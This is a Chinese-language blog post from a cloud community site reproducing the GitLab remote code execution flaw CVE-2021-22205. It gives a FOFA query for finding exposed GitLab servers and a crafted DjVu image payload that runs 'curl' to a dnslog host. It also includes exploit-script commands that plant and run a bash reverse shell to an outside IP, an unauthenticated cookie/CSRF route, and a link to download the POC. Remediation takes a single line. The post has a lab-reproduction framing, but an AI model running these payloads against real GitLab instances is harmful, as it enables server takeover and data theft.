GitLab 远程命令执行漏洞复现(CVE-2021-22205)

举报
亿人安全 发表于 2023/05/30 15:14:23 2023/05/30
【摘要】 一、漏洞描述GitLab 没有正确验证传递给文件解析器的图像文件,这导致远程命令执行,可执行系统命令。这是一个严重的问题。它现在在最新版本中得到缓解,漏洞编号CVE-2021-22205。二、影响范围以下版本范围内的 GitLab(CE/EE)受到漏洞影响:11.9 <= GitLab(CE/EE)< 13.8.813.9 <= GitLab(CE/EE)< 13.9.613.10 <=...

一、漏洞描述

GitLab 没有正确验证传递给文件解析器的图像文件,这导致远程命令执行,可执行系统命令。这是一个严重的问题。它现在在最新版本中得到缓解,漏洞编号CVE-2021-22205。

二、影响范围

以下版本范围内的 GitLab(CE/EE)受到漏洞影响:

11.9 <=  GitLab(CE/EE)< 13.8.8
13.9 <=  GitLab(CE/EE)< 13.9.6
13.10 <= GitLab(CE/EE)< 13.10.3

三、fofa搜索

自己人不打自己人

title="GitLab"

页面长这样

图片image-20211102092216930

四、环境搭建

git clone https://github.com/vulhub/vulhub.git
cd vulhub/gitlab/CVE-2021-22205/
docker-compose up -d

docker配置中设置的端口映射到本地的8080端口,bp开着的记得换一下端口

环境启动后,访问http://127.0.0.1:8080即可查看到GitLab的登录页面

图片image-20211102154432735

五、脚本复现

1 下载工具

https://github.com/Al1ex/CVE-2021-22205

git到本地,由于执行命令无回显,可以使用dnslog外带回显结果

http://dnslog.cn/

获取一个dnslog的url,替换到脚本里面

图片image-20211102161540518图片image-20211102161638995

开始唆

2 检测漏洞是否存在

python3 CVE-2021-22205.py -v true -t http://10.0.1.12:8080/

图片image-20211102161900299

3 命令执行

试一下先,不知道为什么我这里没有dnslog回显

python3 CVE-2021-22205.py -a true -t http://10.0.1.12:8080/ -c "curl http://4.xx.xx.6/1.txt"

图片image-20211102162200134

但是服务器可以看出已经成功执行

图片image-20211102162243798

4 反弹shell

# 写入反弹shell脚本
python3 CVE-2021-22205.py -a true -t http://10.0.1.12:8080/ -c "echo 'bash -i >& /dev/tcp/4.xx.xx.6/6666 0>&1' > /tmp/1.sh"
# 给执行权限
python3 CVE-2021-22205.py -a true -t http://10.0.1.12:8080/ -c "chmod +x /tmp/1.sh"
# 服务器监听6666端口
nc -lvnp 6666
# 运行,获取git权限shell
python3 CVE-2021-22205.py -a true -t http://10.0.1.12:8080/ -c "/bin/bash /tmp/1.sh"

图片image-20211102162743402图片image-20211102213550299

六、手工复现-有授权

1 上传点

vulhub截止到今天2021.11.2,我今天拉的docker,gitlab环境有点问题,注册账号需要管理员审核,但找不到管理员账号密码。。。

换vulfocus靶场,搭建之后访问,会跳转到设置密码的页面,设置root新密码就可以登录啦,页面长这样

图片image-20211102172744884

搞个普通用户复现漏洞,注册ch4nge用户

登录后到个人主页,找到Snippets,新建

图片image-20211102201740899

此处需要上传DjVu格式图片(即Exp)

图片image-20211102201936387

2 DjVu格式图片制作方式

下载安装DjVuLibre地址

http://djvu.sourceforge.net/

准备好将要压缩图片的文本

(metadata
 (Copyright "\
" . qx{curl cc.n443pb.dnslog.cn} . \
" b ") )

生成Exp

djvumake rce.djvu INFO=0,0 BGjp=/dev/null ANTa=rce.txt && mv rce.djvu rce.jpg

图片image-20211102203205714

3 上传Exp

图片image-20211102203859540

虽然报错,但是已经执行了命令

图片image-20211102203927038

将恶意代码修改为远程访问文件试一下

(metadata
 (Copyright "\
" . qx{curl http://4.xx.xx.6/1.txt} . \
" b ") )

图片image-20211102205014094

4 命令执行

成功执行,之后没必要一次次生成文件了,上传文件的时候使用burpsuite抓包,直接在包里改命令就好

图片image-20211102211355774图片image-20211102213342552

七、手工复现-未授权

有些gitlab是没法直接注册用户使用的,这就用到未授权获取cookie。POC都是我登录账号之后抓的

1 获取cookie

使用登录页面返回的 Cookie 值和 csrf-token 值

POC

GET /users/sign_in HTTP/1.1
Host: 10.11.1.120:8020
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close


图片image-20211102211623804图片image-20211102211645904

2 RCE

使用登录页面返回的 Cookie 值和 csrf-token 值,成功实现 RCE。

图片image-20211102211913301图片image-20211102213447050

3 POC下载

文件下载

https://change.lanzouw.com/iJySRw2kr8j 密码:love

下载后导入bp的重放器,改host就行

图片image-20211102212604909图片image-20211102212619680图片image-20211102212640984

八、解决方案

升级到最新版本。

要更新 GitLab,请参阅更新页面。要更新 Gitlab Runner,请参阅更新 Runner 页面。

九、参考

https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/

https://github.com/Al1ex/CVE-2021-22205

https://blog.csdn.net/smellycat000/article/details/121005824

https://www.wangan.com/p/7fygfydb5d6d0c1e

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。